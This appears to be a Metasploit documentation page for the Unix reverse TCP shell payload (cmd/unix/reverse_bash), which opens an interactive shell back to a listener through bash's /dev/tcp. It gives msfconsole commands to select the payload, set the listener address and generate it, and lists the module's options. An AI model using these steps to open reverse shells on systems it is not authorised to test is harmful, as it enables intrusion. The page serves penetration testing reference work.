Metasploit Penetration Testing Framework


OSVDB: CVE:
BID: MSB:
TEXT:


Unix Command Shell, Reverse TCP (/dev/tcp)

Creates an interactive shell via bash's builtin /dev/tcp. This will not work on most Debian-based Linux distributions (including Ubuntu) because they compile bash without the /dev/tcp feature.

Rank

  • Normal

Authors

  • hdm < hdm [at] metasploit.com >

Similar Modules

Usage Information

$ msfconsole

                ##                          ###           ##    ##
 ##  ##  #### ###### ####  #####   #####    ##    ####        ######
####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
##   ##  #### ###   #####   #####     ##   ####   ####   #### ###
                                      ##

msf > use payload/cmd/unix/reverse_bash
msf payload(reverse_bash) > set LHOST [MY IP ADDRESS]
msf payload(reverse_bash) > generate

Module Options

LHOST The listen address
LPORT The listen port (default: 4444)
AutoRunScript A script to run automatically on session creation.
InitialAutoRunScript An initial script to run on session creation (before AutoRunScript)
ReverseConnectRetries The number of connection attempts to try before exiting the process
WORKSPACE Specify the workspace for this module
Copyright © 2003-2010 Rapid7 LLC
Rapid7 Privacy Statement